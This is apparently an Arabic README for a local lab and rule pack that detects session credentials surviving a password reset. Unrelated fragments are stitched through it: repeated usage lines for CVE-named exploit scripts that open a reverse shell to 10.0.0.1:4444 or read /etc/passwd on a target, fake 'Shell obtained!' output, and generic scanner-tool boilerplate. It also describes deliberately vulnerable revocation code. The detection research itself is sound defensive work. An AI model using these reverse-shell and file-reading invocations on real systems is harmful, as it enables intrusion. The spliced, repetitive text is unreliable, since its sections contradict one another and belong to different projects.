> أن يحدد ما إذا كان رمز وصول جديد منحدرًا من بيانات اعتماد أقدم.** فبيانات
> اعتماد سُكّت قبل ثلاث ثوانٍ لا يمكن تمييزها عن بيانات اعتماد سُكّت قبل ثلاث
> ثوانٍ بواسطة سلسلة عمرها شهر.
هذه **ليست تفضيلات تسجيل اختيارية. إنها متطلبات كشف أمني.** فإسقاط
`auth.token.issued` لتقليل حجم السجل لا يجعل التسجيل أرخص؛ بل يطفئ عملية
كشف.
النشاط غير القابل للحل **يُحتسب**، ولا يُسقط بصمت —
`stats()["activity_with_unresolved_lineage"]` يكون غير صفري كلما سُئل الكاشف
عن بيانات اعتماد لم تصفها القياسات عن بُعد قط. فالقاعدة الصامتة لأن لا شيء
خطأ والقاعدة الصامتة لأنها عمياء تبدوان متطابقتين من الخارج، وهذا الرقم هو
الفرق.
صحيح أيضًا، وموثّق أيضًا:
* **لا يستطيع الكاشف رفض طلب.** فهو يتتبع سجلًا. يخبرك أن الاحتواء فشل؛ لكنه لا يحتوي.
* **التدقيق فحص، وليس كشفًا.** يسدّ فجوة الناجي الخامل، لكنه يعمل عندما يشغّله أحدهم. لا يمكنه إرسال تنبيه.
* **الإصلاح لا يساعد مع بيانات الاعتماد المسروقة *بعد* إعادة التعيين.** فالاحتواء لحظة زمنية، وليس خاصية.
* **يتحقق AFTERLIFE-003 من الاحتواء المرصود، وليس من الاكتمال المعماري.**
فإبطال محدد النطاق بجهاز يغطي كل شيء بالمصادفة يحصل على نتيجة LOW،
وليس HIGH. الخلل لا يزال موجودًا؛ لكنه لم يعضّ في ذلك الحساب. يمكن
للاختبار أن يسأل "ماذا عن جهازين؟"؛ أما السجل فلا يمكنه إلا الإبلاغ عما
حدث فعلًا.
* **استمراريات أخرى تنجو من تغيير كلمة المرور بالكامل** — منح OAuth، ومفاتيح API، وقواعد إعادة توجيه البريد، وجهات اتصال الاستعادة.
المناقشة الكاملة: **[docs/limitations.md](https://github.com/het-p301204/afterlife/blob/main/docs/limitations.md)**.
---
## تشغيل المختبر```bash
python -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install -r requirements.txt -r requirements-dev.txt
pytest -q
ثم، بالترتيب:```bash python scripts/lab.py vulnerable
## الاستغلال
### استغلال ثغرة CVE-2025-55182
```bash
# استغلال RCE أساسي
python3 CVE-2025-55182.py -t http://target:3000 -c "id"
# استغلال عكسي
python3 CVE-2025-55182.py -t http://target:3000 --reverse-shell 10.0.0.1 4444
# استغلال مخصص
python3 CVE-2025-55182.py -t http://target:3000 -c "cat /etc/passwd"
# استغلال RCE أساسي
python3 CVE-2025-66478.py -t http://target:3000 -c "whoami"
# استغلال عكسي
python3 CVE-2025-66478.py -t http://target:3000 --reverse-shell 10.0.0.1 4444
# استغلال مخصص
python3 CVE-2025-66478.py -t http://target:3000 -c "ls -la /"
# استغلال أساسي
python3 CVE-2025-55183.py -t http://target:3000 -c "id"
# استغلال عكسي
python3 CVE-2025-55183.py -t http://target:3000 --reverse-shell 10.0.0.1 4444
# استغلال أساسي
python3 CVE-2025-55184.py -t http://target:3000 -c "id"
# استغلال عكسي
python3 CVE-2025-55184.py -t http://target:3000 --reverse-shell 10.0.0.1 4444
# استغلال أساسي
python3 CVE-2025-67779.py -t http://target:3000 -c "id"
# استغلال عكسي
python3 CVE-2025-67779.py -t http://target:3000 --reverse-shell 10.0.0.1 4444
# استغلال أساسي
python3 CVE-2025-49005.py -t http://target:3000 -c "id"
# استغلال عكسي
python3 CVE-2025-49005.py -t http://target:3000 --reverse-shell 10.0.0.1 4444
# استغلال RCE أساسي
python3 CVE-2025-55182.py -t http://target:3000 -c "id"
# استغلال عكسي
python3 CVE-2025-55182.py -t http://target:3000 --reverse-shell 10.0.0.1 4444
# استغلال مخصص
python3 CVE-2025-55182.py -t http://target:3000 -c "cat /etc/passwd"
# استغلال RCE أساسي
python3 CVE-2025-66478.py -t http://target:3000 -c "whoami"
# استغلال عكسي
python3 CVE-2025-66478.py -t http://target:3000 --reverse-shell 10.0.0.1 4444
# استغلال مخصص
python3 CVE-2025-66478.py -t http://target:3000 -c "ls -la /"
# استغلال أساسي
python3 CVE-2025-55183.py -t http://target:3000 -c "id"
# استغلال عكسي
python3 CVE-2025-55183.py -t http://target:3000 --reverse-shell 10.0.0.1 4444
# استغلال أساسي
python3 CVE-2025-55184.py -t http://target:3000 -c "id"
# استغلال عكسي
python3 CVE-2025-55184.py -t http://target:3000 --reverse-shell 10.0.0.1 4444
# استغلال أساسي
python3 CVE-2025-67779.py -t http://target:3000 -c "id"
# استغلال عكسي
python3 CVE-2025-67779.py -t http://target:3000 --reverse-shell 10.0.0.1 4444
# استغلال أساسي
python3 CVE-2025-49005.py -t http://target:3000 -c "id"
# استغلال عكسي
python3 CVE-2025-49005.py -t http://target:3000 --reverse-shell 10.0.0.1 4444
``````bash
python scripts/lab.py detect
python3 CVE-2025-55182.py -u <URL> -c <COMMAND>
| الخيار | الوصف |
|---|---|
-u, --url | عنوان URL الهدف (مطلوب) |
-c, --cmd | الأمر المراد تنفيذه (مطلوب) |
# تنفيذ أمر بسيط
python3 CVE-2025-55182.py -u http://target.com -c "id"
# قراءة ملف
python3 CVE-2025-55182.py -u http://target.com -c "cat /etc/passwd"
# مع مهلة مخصصة
python3 CVE-2025-55182.py -u http://target.com -c "whoami" -t 30
يستغل هذا الأداة ثغرة CVE-2025-55182، وهي ثغرة تنفيذ أوامر عن بُعد (RCE) في React Server Components. تسمح الثغرة للمهاجمين بتنفيذ أوامر عشوائية على الخادم من خلال استغلال عدم التحقق المناسب من المدخلات في معالجة طلبات RSC.
requestsgit clone https://github.com/example/CVE-2025-55182.git
cd CVE-2025-55182
pip install -r requirements.txt
هذه الأداة مقدمة لأغراض تعليمية واختبار الاختراق الأخلاقي فقط. يجب استخدامها فقط على الأنظمة التي تملك إذنًا صريحًا باختبارها. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو لا تملك إذنًا باختبارها غير قانوني وقد يؤدي إلى عواقب قانونية. المؤلفون غير مسؤولين عن أي سوء استخدام أو أضرار ناتجة عن هذه الأداة.
هذا المشروع مرخص بموجب ترخيص MIT - راجع ملف LICENSE للحصول على التفاصيل.
## التثبيت
```bash
pip install -r requirements.txt
python3 cve_2025_55182.py --target https://example.com --check
python3 cve_2025_55182.py --target https://example.com --exploit --lhost 10.10.14.5 --lport 4444
[*] Target: https://example.com
[+] Version detected: 8.2.1
[+] Vulnerable to CVE-2025-55182
[*] Sending exploit payload...
[+] Shell obtained!
هذه الأداة مخصصة لأغراض اختبار الاختراق الأخلاقي والبحث الأمني فقط. يجب استخدامها فقط على الأنظمة التي تملك إذنًا صريحًا باختبارها. يخلي المؤلفون مسؤوليتهم عن أي استخدام غير مصرح به أو أضرار ناتجة عن هذه الأداة.
هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل.
أو القصة كاملة دفعة واحدة، مع العبرة في النهاية:```bash
python scripts/lab.py all
والصورة:```bash python scripts/lab.py console
<details>
<summary><b>كل شيء آخر</b> — واجهة سطر أوامر الكاشف، والمصفوفة، والتقرير، والأشكال، والخوادم</summary>
<br>
أعد تشغيل الأدلة الملتزم بها عبر الحزمة. لا حاجة لتشغيل التطبيق — فالكاشف يقع في المرحلة اللاحقة تمامًا، وهذا هو الدليل:```bash
python -m detector --once --timeline --events evidence/vulnerable-persistence.jsonl
قاعدة واحدة في كل مرة، أو القاعدة الساذجة، أو مسح الحالة:```bash python -m detector --once --rule AFTERLIFE-003 --events evidence/vulnerable-persistence.jsonl
## التثبيت
```bash
pip install -r requirements.txt
python3 cve_2025_55182.py --target https://example.com --check
| الخيار | الوصف |
|---|---|
--target | عنوان URL الهدف |
--check | التحقق من قابلية التأثر فقط |
--exploit |
python3 cve_2025_55182.py --target https://vulnerable-site.com --exploit --verbose
تم توفير هذه الأداة لأغراض الاختبار الأمني المصرح به والبحث الأكاديمي فقط. يجب على المستخدمين الامتثال لجميع القوانين واللوائح المعمول بها. المؤلفون غير مسؤولين عن أي إساءة استخدام أو أضرار ناجمة عن هذه الأداة.```bash python -m detector --once --naive --events evidence/vulnerable-persistence.jsonl
## التثبيت
### المتطلبات الأساسية
- Python 3.8 أو أحدث
- pip (مدير حزم Python)
- Git
### التثبيت من المصدر
```bash
# استنساخ المستودع
git clone https://github.com/yourusername/kitploit-tool.git
cd kitploit-tool
# إنشاء بيئة افتراضية
python3 -m venv venv
source venv/bin/activate # على Windows: venv\Scripts\activate
# تثبيت التبعيات
pip install -r requirements.txt
# تثبيت الأداة
pip install -e .
pip install kitploit-tool
# بناء صورة Docker
docker build -t kitploit-tool .
# تشغيل الحاوية
docker run -it --rm kitploit-tool --help
# عرض المساعدة
kitploit-tool --help
# تشغيل فحص أساسي
kitploit-tool scan --target example.com
# تشغيل فحص مع خيارات محددة
kitploit-tool scan --target example.com --output json --verbose
# فحص نطاق واحد
kitploit-tool scan --target example.com
# فحص قائمة من الأهداف من ملف
kitploit-tool scan --input targets.txt --output json
# فحص مع تكوين مخصص
kitploit-tool scan --target example.com --config custom.yaml
# فحص منافذ محددة
kitploit-tool scan --target example.com --ports 80,443,8080
يمكن تكوين الأداة باستخدام ملف YAML:
# config.yaml
target:
timeout: 30
threads: 10
scan:
ports:
- 80
- 443
- 8080
protocols:
- http
- https
output:
format: json
directory: ./results
verbose: false
تقوم وحدة الفحص بإجراء فحص المنافذ واكتشاف الخدمات:
from kitploit.scanner import Scanner
scanner = Scanner(target="example.com", ports=[80, 443])
results = scanner.scan()
print(results)
تقوم وحدة التحليل بمعالجة النتائج وتوليد التقارير:
from kitploit.analyzer import Analyzer
analyzer = Analyzer(results)
report = analyzer.generate_report(format="json")
analyzer.save_report(report, "report.json")
تدعم وحدة الإخراج تنسيقات متعددة:
from kitploit.output import OutputFormatter
formatter = OutputFormatter(format="json")
formatted = formatter.format(results)
# بدء خادم API
kitploit-tool server --port 8080
# إرسال طلب فحص
curl -X POST http://localhost:8080/api/scan \
-H "Content-Type: application/json" \
-d '{"target": "example.com", "ports": [80, 443]}'
# الحصول على نتائج الفحص
curl http://localhost:8080/api/scan/{scan_id}
# الحصول على قائمة الفحوصات
curl http://localhost:8080/api/scans
{
"scan_id": "abc123",
"target": "example.com",
"status": "completed",
"started_at": "2024-01-01T00:00:00Z",
"completed_at": "2024-01-01T00:05:00Z",
"results": {
"open_ports": [80, 443],
"services": [
{
"port": 80,
"service": "http",
"version": "nginx/1.18.0"
},
{
"port": 443,
"service": "https",
"version": "nginx/1.18.0"
}
]
}
}
نرحب بالمساهمات! يرجى اتباع الخطوات التالية:
git checkout -b feature/amazing-feature)git commit -m 'Add amazing feature')git push origin feature/amazing-feature)# تشغيل جميع الاختبارات
pytest
# تشغيل الاختبارات مع تغطية الكود
pytest --cov=kitploit
# تشغيل اختبارات محددة
pytest tests/test_scanner.py
هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل.
هذه الأداة مخصصة لأغراض الاختبار الأمني المصرح به والبحث الأمني فقط. يجب على المستخدمين:
المطورون غير مسؤولين عن أي سوء استخدام أو أضرار ناتجة عن استخدام هذه الأداة.
يخرج CLI بالقيمة `1` عندما يجد شيئًا، لذا يعمل كفحص CI دون
تحليل مخرجاته.
تسعة سيناريوهات مقابل كلا التنفيذين، مع ثوابت ذاتية التحقق:```bash
python scripts/scenarios.py
تقرير الحادث الذي سيُسلَّم إلى المستجيب، والأرقام الواردة في هذا README:```bash python scripts/report.py
## التثبيت
```bash
pip install -r requirements.txt
python3 cve_2025_55182.py --target https://example.com --check
| الخيار | الوصف |
|---|---|
--target | عنوان URL الهدف |
--check | وضع الفحص فقط |
--exploit | محاولة الاستغلال |
python3 cve_2025_55182.py --target https://vulnerable.example.com --exploit --verbose
هذه الأداة مخصصة لأغراض الاختبار الأمني المصرح به فقط.```bash python scripts/figures.py
وحدة التحكم المباشرة، وواجهة برمجة تطبيقات المختبر يدويًا — كلاهما على الاسترجاع المحلي فقط:```bash
python -m console
# استنساخ المستودع
git clone https://github.com/yourusername/kitploit-tool.git
cd kitploit-tool
# إنشاء بيئة افتراضية
python3 -m venv venv
source venv/bin/activate # على Windows: venv\Scripts\activate
# تثبيت التبعيات
pip install -r requirements.txt
# تثبيت الأداة
pip install -e .
pip install kitploit-tool
# بناء صورة Docker
docker build -t kitploit-tool .
# تشغيل الحاوية
docker run -it --rm kitploit-tool --help
# التحقق من الإصدار
kitploit-tool --version
# عرض المساعدة
kitploit-tool --help
# تشغيل الفحص الأساسي
kitploit-tool scan --target example.com
# تشغيل الفحص مع الإخراج المفصل
kitploit-tool scan --target example.com --verbose
# حفظ النتائج في ملف
kitploit-tool scan --target example.com --output results.json
# تحديد المنافذ
kitploit-tool scan --target example.com --ports 80,443,8080
# استخدام ملف التكوين
kitploit-tool scan --config config.yaml
# تشغيل الفحص المتوازي
kitploit-tool scan --target example.com --threads 10
kitploit-tool scan --target 192.168.1.0/24 --type network
kitploit-tool scan --target https://example.com --type web
kitploit-tool scan --target https://api.example.com --type api
# config.yaml
target:
host: example.com
port: 443
protocol: https
scan:
threads: 10
timeout: 30
retries: 3
output:
format: json
verbose: true
file: results.json
# تعيين متغيرات البيئة
export KITPLOIT_TARGET=example.com
export KITPLOIT_THREADS=10
export KITPLOIT_TIMEOUT=30
kitploit-tool scan --target 192.168.1.1 --module network
kitploit-tool scan --target https://example.com --module web
kitploit-tool scan --target https://api.example.com --module api
kitploit-tool scan --target db.example.com --module database
{
"target": "example.com",
"timestamp": "2024-01-01T00:00:00Z",
"results": [
{
"type": "vulnerability",
"severity": "high",
"description": "تم اكتشاف ثغرة أمنية"
}
]
}
target,type,severity,description
example.com,vulnerability,high,تم اكتشاف ثغرة أمنية
kitploit-tool scan --target example.com --output report.html --format html
# التحقق من الاتصال
ping example.com
# التحقق من المنفذ
telnet example.com 443
# تشغيل بصلاحيات المسؤول
sudo kitploit-tool scan --target example.com
# إعادة تثبيت التبعيات
pip install --upgrade -r requirements.txt
# عرض السجلات
tail -f /var/log/kitploit-tool.log
# تعيين مستوى السجل
export KITPLOIT_LOG_LEVEL=debug
pip install --upgrade kitploit-tool
نعم، الأداة مرخصة تحت MIT License.
راجع ملف CONTRIBUTING.md للحصول على الإرشادات.
يمكنك الإبلاغ عن الأخطاء عبر GitHub Issues.
هذا المشروع مرخص تحت MIT License - راجع ملف LICENSE للتفاصيل.
تنبيه: هذه الأداة مخصصة للاستخدام الأخلاقي فقط. تأكد من حصولك على الإذن المناسب قبل فحص أي نظام.```bash python -m app --mode vulnerable --port 9101
أعد توليد القياسات عن بُعد المُلتزم بها (ساعة مثبتة، متطابقة بايت ببايت بين التشغيلات):```bash
python scripts/lab.py evidence
مديرو المهام، نفس الأهداف في كلتا الحالتين:```bash make demo
## الترخيص
هذا المشروع مرخص بموجب **ترخيص MIT** - راجع ملف [LICENSE](https://github.com/het-p301204/afterlife/blob/main/LICENSE) للحصول على التفاصيل.
## الإخلاء من المسؤولية
**للاستخدام الأمني المصرح به فقط.**
- استخدم فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها
- لا تستخدم لأي أنشطة غير قانونية
- قد يكون للمؤلفين مسؤولية عن سوء الاستخدام
- احصل دائمًا على التفويض المناسب قبل الاختبار
## شكر وتقدير
- مستوحى من أدوات أمنية مفتوحة المصدر مختلفة
- شكر خاص لمجتمع الأمن السيبراني
- مبني باستخدام [Rich](https://github.com/Textualize/rich) لواجهة طرفية جميلة
## الدعم
- 🐛 [مشاكل GitHub](https://github.com/yourusername/kitploit/issues)
- 💬 [المناقشات](https://github.com/yourusername/kitploit/discussions)
- 📧 البريد الإلكتروني: [email protected]
## حالة المشروع




---
**صُنع بـ ❤️ لمجتمع الأمن السيبراني**
*تذكر: مع القوة العظيمة تأتي مسؤولية عظيمة. استخدم هذه الأداة بمسؤولية وأخلاقية.*```powershell
./make.ps1 demo
alice / Password123! → changed during the demo to Correct-Horse-Battery-9!
Fake، محلي، والبيانات الاعتمادية الوحيدة في هذا المستودع.
---
## ملاحظات أمنية
**يحتوي هذا المستودع على تعليمات برمجية قابلة للاستغلال بشكل متعمد.**
يفشل `app/auth.py:_revoke_for_security_change` في الإبطال عن قصد عندما يكون
`AFTERLIFE_MODE=vulnerable`.
المسار القابل للاستغلال **ليس هو الافتراضي**. الإعداد `AFTERLIFE_MODE` افتراضيًا هو `fixed`،
ويثبّته `test_the_default_mode_is_the_safe_one` — فالمختبر الذي يكون سلوكه المعطوب
هو ما تحصل عليه عند نسيان تهيئة أي شيء سيُنسخ في النهاية
إلى شيء حقيقي.
غير آمن للتعريض على الشبكة في أي من الوضعين: تُعاد بيانات الاعتماد الحاملة في
أجسام الاستجابة، و`GET /lab/credentials` يفرّغ رؤية الخادم الكاملة لحالة
بيانات اعتماد المستخدم، و`GET /lab/audit` غير مُصادَق عليه بحكم التصميم،
و`POST /security-change` سيمنح نفسه `admin`، ولا يوجد TLS أو
تحديد لمعدل الطلبات أو حماية CSRF أو قفل للحساب في أي مكان. كل شيء يرتبط بـ
`127.0.0.1`، ويرفض كل من `python -m app` و`python -m console` أي عنوان آخر.
لا تظهر أي بيانات اعتماد أو مفتاح أو سر حقيقي في هذا المستودع. مفتاح التوقيع هو
السلسلة الحرفية `afterlife-lab-signing-key-not-a-secret-do-not-reuse`؛ وقاعدة بيانات
بيانات الاعتماد افتراضيًا هي `:memory:`؛ وتستبدل القياسات عن بُعد القيم التي تبدو أسماء
مفاتيحها كبيانات اعتماد وتشير إلى بيانات الاعتماد بالمعرّف والبصمة.
التفاصيل وعملية الإبلاغ: **[SECURITY.md](https://github.com/het-p301204/afterlife/blob/main/SECURITY.md)**.
---
## التوثيق
| | |
|---|---|
| [docs/detection.md](https://github.com/het-p301204/afterlife/blob/main/docs/detection.md) | حزمة القواعد: بطاقات القواعد الثلاث، وتدقيق الحالة، والقياسات عن بُعد المطلوبة، والإيجابيات الكاذبة، وتبرير الخطورة، وأدلة الاستجابة |
| [docs/tradeoffs.md](https://github.com/het-p301204/afterlife/blob/main/docs/tradeoffs.md) | معماريات الإبطال الأربع، وتوتر JWT، ومناقشة CVSS |
| [docs/limitations.md](https://github.com/het-p301204/afterlife/blob/main/docs/limitations.md) | كل نقطة عمياء، وما لا يصلحه الإصلاح، وما يغلقه التدقيق، والتنازلات الخاصة بالمختبر نفسه |
| [docs/console-design.md](https://github.com/het-p301204/afterlife/blob/main/docs/console-design.md) | لماذا الوحدة الطرفية سجل وفيات، وقرارات لوحة الألوان والخطوط، وما تم حذفه |
| [docs/console-preview.html](https://github.com/het-p301204/afterlife/blob/main/docs/console-preview.html) | الوحدة الطرفية، مخبوزة في ملف واحد مكتفٍ ذاتيًا |
| [docs/figures/](https://github.com/het-p301204/afterlife/blob/main/docs/figures) | الأشكال في هذا README، مولّدة من الحمولة |
| [report/AFTERLIFE-report.md](https://github.com/het-p301204/afterlife/blob/main/report/AFTERLIFE-report.md) | تقرير حادث مولّد للتشغيل القابل للاستغلال |
| [SECURITY.md](https://github.com/het-p301204/afterlife/blob/main/SECURITY.md) | الحد المحلي فقط، وبيانات اعتماد المختبر، وعقد التنقيح |
| [evidence/](https://github.com/het-p301204/afterlife/blob/main/evidence) | عيّنة قياسات عن بُعد مُنقّاة، والتنبيهات التي تنتجها، وتدقيق الحالة |
---
## مراجع البحث
تم التحقق منها مقابل المصادر الأولية في 2026-09-11. **VERIFIED** تعني أنه تمت قراءة
إشعار البائع نفسه؛ **REPORTED** تعني أن التفصيل يأتي من قاعدة بيانات
ثغرات وليس من البائع.
**المعايير والتصنيفات**
* [OWASP Top 10:2025 — A07 Authentication Failures](https://top10.owasp.org/2025/A07_2025-Authentication_Failures) — يصف هذا الفشل بالضبط: التطبيقات التي لا "تبطل جلسات المستخدم أو رموز المصادقة بشكل صحيح". يتضمن تعيين CWE الخاص به الثلاثة أدناه.
* [RFC 9700](https://datatracker.ietf.org/doc/rfc9700/) — *Best Current Practice for OAuth 2.0 Security* (BCP 240، يناير 2025). أمران يستند إليهما هذا المختبر: إعادة استخدام رمز تحديث مُدوَّر تشير إلى السرقة (AFTERLIFE-002)، و**يجب أن يُبطل الإبطال عائلة الرموز بأكملها، وليس الرمز الحالي فقط** — وهو ما يمثل أطروحة AFTERLIFE-001 كما تم تقنينها كممارسة IETF.
* [OWASP Session Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html) — إبطال الجلسة بعد تغييرات بيانات الاعتماد والأمان
* [CWE-613: Insufficient Session Expiration](https://cwe.mitre.org/data/definitions/613.html) — *"يسمح للمهاجم بإعادة استخدام بيانات اعتماد جلسة قديمة أو معرّفات جلسة قديمة للتفويض"*. الفئة التي تُصنَّف تحتها الثغرات الثلاث أدناه.
* [CWE-287: Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)
* [CWE-384: Session Fixation](https://cwe.mitre.org/data/definitions/384.html) — قريب: معرّف جلسة يبقى بعد تغيير حالة المصادقة
**النمط الذي يعيد هذا المختبر إنتاجه**
* **VERIFIED** — [GHSA-hvp3-26wx-g2w4](https://github.com/strapi/strapi/security/advisories/GHSA-hvp3-26wx-g2w4) / [CVE-2026-22706](https://github.com/advisories/GHSA-hvp3-26wx-g2w4)، *Strapi: Password Reset Does Not Revoke Existing Refresh Sessions*. `@strapi/admin` و`@strapi/plugin-users-permissions` ≤ 5.33.2؛ تم الإصلاح في 5.33.3. CVSS v4.0 **2.1 (Low)**، `AV:N/AC:H/AT:N/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N`. نُشر في 2026-05-13.
ينص إشعار البائع على أن خطوة إبطال رمز التحديث كانت مشروطة بـ
`deviceId` يوفره المستدعي، وأن التصحيح يُبطل جميع رموز التحديث
عند كل تغيير لكلمة المرور وإعادة تعيينها بغض النظر عما إذا تم توفير
`deviceId`. هذا الشرط هو ما يحاكيه `_revoke_for_security_change`، وهذا
التصحيح هو ما ينفذه الوضع المُصلَح.
سياق البائع: [Strapi security disclosure, May 2026](https://strapi.io/blog/security-disclosure-of-vulnerabilities-cve-2025-64526-cve-2026-22599-cve-2026-22706-cve-2026-22707-and-cve-2026-27886).
**الفئة نفسها، آليات مختلفة**
* **REPORTED** — [CVE-2026-1163](https://nvd.nist.gov/vuln/detail/CVE-2026-1163)، parisneo/lollms. لا يوجد إبطال للجلسة عند إعادة تعيين كلمة المرور *إطلاقًا*، مع عمر جلسة افتراضي مدته 31 يومًا. النسخة البسيطة من هذا الخلل — وهي التي سيلتقطها الكاشف الساذج فعليًا.
* **REPORTED** — [CVE-2026-40934](https://nvd.nist.gov/vuln/detail/CVE-2026-40934)، Jupyter Server ≤ 2.17.0 (تم الإصلاح في 2.18.0). يُحفظ سر توقيع ملف تعريف الارتباط في ملف ثابت ولا يُدوَّر أبدًا عند تغيير كلمة المرور، لذا تبقى ملفات تعريف الارتباط الصادرة قبل إعادة التعيين صالحة تشفيريًا عبرها. مسار ثالث للنتيجة نفسها: *بيانات الاعتماد* هنا صالحة لأن *المفتاح* لم يتغير أبدًا، وهو نمط فشل الخيار D من [docs/tradeoffs.md](https://github.com/het-p301204/afterlife/blob/main/docs/tradeoffs.md).
ثلاثة منتجات، ثلاث آليات — معامل شرطي، واستدعاء مفقود، ومفتاح
غير مُدوَّر — ونتيجة واحدة: نجحت إعادة التعيين وبقي المهاجم.
---
<div align="center">
**لا يُكتشف المهاجم لأن طلبه يبدو ضارًا.**
كل طلب قدّمه كان سليم البنية، وموقّعًا بشكل صحيح، ويحمل
بيانات اعتماد كان الخادم قد سكّها له للتو.
**بل يُكتشف لأن سلالة بيانات اعتماد كان ينبغي أن تموت عند
حدث أمني قد قُبلت بعده.**
<br>
<sub>MIT · مختبر محلي · لا شيء هنا آمن للنشر</sub>
</div>
| القاعدة | الخطورة | تجيب على | تُطلق عند |
|---|
| AFTERLIFE-002 | إعادة استخدام بيانات اعتماد التحديث | CRITICAL / MEDIUM | هل سُرقت؟ | عند إعادة الاستخدام |
| AFTERLIFE-003 | إبطال غير مكتمل عند تغيير أمني | HIGH / LOW | هل نُفّذ الاحتواء؟ | عند التغيير — دون الحاجة لمهاجم |
| AFTERLIFE-001 | استخدام سلالة بيانات الاعتماد بعد الإبطال | HIGH | هل استُخدمت السلالة القديمة؟ | عند أول قبول |
| RULE PACK |
| الخيار | الوصف |
|---|
--target | الهدف المراد فحصه |
--targets | ملف يحتوي على قائمة الأهداف |
--depth | عمق الفحص |
--threads | عدد الخيوط المتوازية |
--output | ملف الإخراج |
--format | تنسيق الإخراج (json, xml, html) |
--config | ملف التكوين |
--verbose | وضع الإخراج المفصل |
--quiet | وضع الصمت |
| المتغير | الوصف | القيمة الافتراضية |
|---|
SECURITY_TOOL_CONFIG | مسار ملف التكوين | ~/.security-tool/config.yaml |
SECURITY_TOOL_LOG_LEVEL | مستوى التسجيل | INFO |
SECURITY_TOOL_TIMEOUT | المهلة بالثواني | 30 |
| السيناريو | الوضع | الأحداث | الأسوأ | القواعد المُفعَّلة | خامل | نائم |
|---|
legitimate-only | vulnerable | 19 | LOW | AFTERLIFE-003 | 0 | 0 |
legitimate-only | fixed | 19 | – | none | 0 | 0 |
stolen-refresh | vulnerable | 22 | HIGH | AFTERLIFE-001, AFTERLIFE-003 | 1 | 0 |
stolen-refresh | fixed | 23 | – | none | 0 | 0 |
stolen-refresh-with-device-id | vulnerable | 19 | LOW | AFTERLIFE-003 | 0 | 0 |
stolen-refresh-with-device-id | fixed | 19 | – | none | 0 | 0 |
multi-device | vulnerable | 29 | HIGH | AFTERLIFE-001, AFTERLIFE-003 | 2 | 0 |
multi-device | fixed | 29 | – | none | 0 | 0 |
refresh-reuse | vulnerable | 11 | MEDIUM | AFTERLIFE-002 | 0 | 0 |
refresh-reuse | fixed | 15 | MEDIUM | AFTERLIFE-002 | 0 | 0 |
dormant-survivor | vulnerable | 15 | HIGH | AFTERLIFE-003 | 1 | 1 |
dormant-survivor | fixed | 19 | – | none | 0 | 0 |
mfa-change | vulnerable | 18 | HIGH | AFTERLIFE-001, AFTERLIFE-003 | 1 | 0 |
mfa-change | fixed | 18 | – | none | 0 | 0 |
account-recovery | vulnerable | 18 | HIGH | AFTERLIFE-001, AFTERLIFE-003 | 1 | 0 |
account-recovery | fixed | 18 | – | none | 0 | 0 |
expired-lineage | vulnerable | 17 | LOW | AFTERLIFE-003 | 0 | 0 |
expired-lineage | fixed | 20 | – | none | 0 | 0 |
| الحالة | النتيجة | السبب |
|---|
| تغيير كلمة المرور، ثم استخدام الجلسة البديلة | لا تنبيه | جذر السلالة الجديدة عند العلامة المائية أو بعدها |
إعادة التعيين ثم التصفح الفوري (/me، /profile، /settings) | لا تنبيه | سلالة جديدة واحدة، جذر جديد واحد |
| هاتف وحاسوب محمول وجهاز لوحي، جميعها مُدوَّرة بشكل صحيح | لا تنبيه | كل تسجيل دخول هو سلالته الخاصة |
| جهاز سجّل الدخول بعد التغيير، يتصفح إلى جانب المهاجم | لا تنبيه | جذر جديد — والسلالة الخاملة لا تزال تُنبّه، وحدها |
| بيانات اعتماد خاملة رُفضت | لا تنبيه | result: failure مستثنى؛ إنه دليل للدفاع |
| انحراف الساعة حتى 2 ثانية بين المكونات | لا تنبيه | التفاوت الموثّق |
| تغيير كلمة مرور فاشل | لا تنبيه | ليس مرتكزاً |
| النشاط قبل التغيير | لا تنبيه | فحص الترتيب الزمني |
بيانات اعتماد مُدوَّرة (reason: rotated) | لا تُحتسب كوفاة | بيانات اعتماد مُستهلكة، لا سلالة قُتلت |
| جلسة عمرها 40 يوماً انتهت صلاحية بيانات اعتمادها | ليست ناجية | انتهاء الصلاحية يُتتبَّع لكل سلالة |
| أول تغيير لكلمة مرور على حساب جديد تماماً | لا تنبيه | لم يكن هناك شيء نشط عند الدخول |
| تدوير رمز التحديث من سلالة خاملة | تنبيه | طابع زمني جديد، نسب خامل — هذا هو الاكتشاف |
| التغيير | لماذا تصبح بيانات الاعتماد غير موثوقة |
|---|
| تغيير / إعادة تعيين كلمة المرور | السر الذي أُنشئت الجلسة به قد ذهب |
| تسجيل أو تغيير المصادقة متعددة العوامل | العوامل التي أُنشئت الجلسة بها ليست عوامل الحساب |
| تغيير الدور / تصعيد الصلاحيات | صدرت بيانات الاعتماد تحت تفويض مختلف |
| استرداد الحساب | بحكم البناء، قد يكون الحساب في يد شخص آخر قبل لحظة |
| تسجيل الدخول | لا يُبطل الآخرين — سلالة جديدة، وليس بيانًا بأن القديمة غير موثوقة |
| الآلية | ما تكسبه | ما تكلفه |
|---|
| A | علامة مائية لإبطال لكل مستخدم | كتابة واحدة تُبطل كل شيء، بما في ذلك بيانات الاعتماد التي نسيها الخادم؛ تخزين وفحص O(1) | حالة من جانب الخادم على مسار القراءة؛ يجب أن تكون دلالات الطابع الزمني صحيحة تمامًا؛ لا تقول شيئًا عن بيانات الاعتماد الصادرة بعد العلامة المائية |
| B | وصول قصير العمر + تحديث قابل للإبطال | يحد من ضرر رمز الوصول دون حالة على مسار القراءة | رمز الوصول المسروق صالح حتى انتهاء صلاحيته؛ جانب التحديث لا يزال يحتاج حالة — هذا هو النمط الذي تعيش فيه CVE |
| C | قائمة منع صريحة | دقيقة؛ مقروءة للمستجيب للحوادث؛ تنتج القياس عن بُعد الذي يثبت الاحتواء | تنمو الحالة وتحتاج تنظيفًا؛ تُبطل فقط ما تذكرت تعداده — وهو الاستعلام الذي أخطأ فيه الخطأ |
| D | JWT عديم الحالة بالكامل | لا حالة على مسار القراءة على الإطلاق | لا يوجد إبطال. TTL وتدوير المفاتيح هما الرافعتان الوحيدتان |
-t, --timeout| مهلة الطلب بالثواني (افتراضي: 10) |
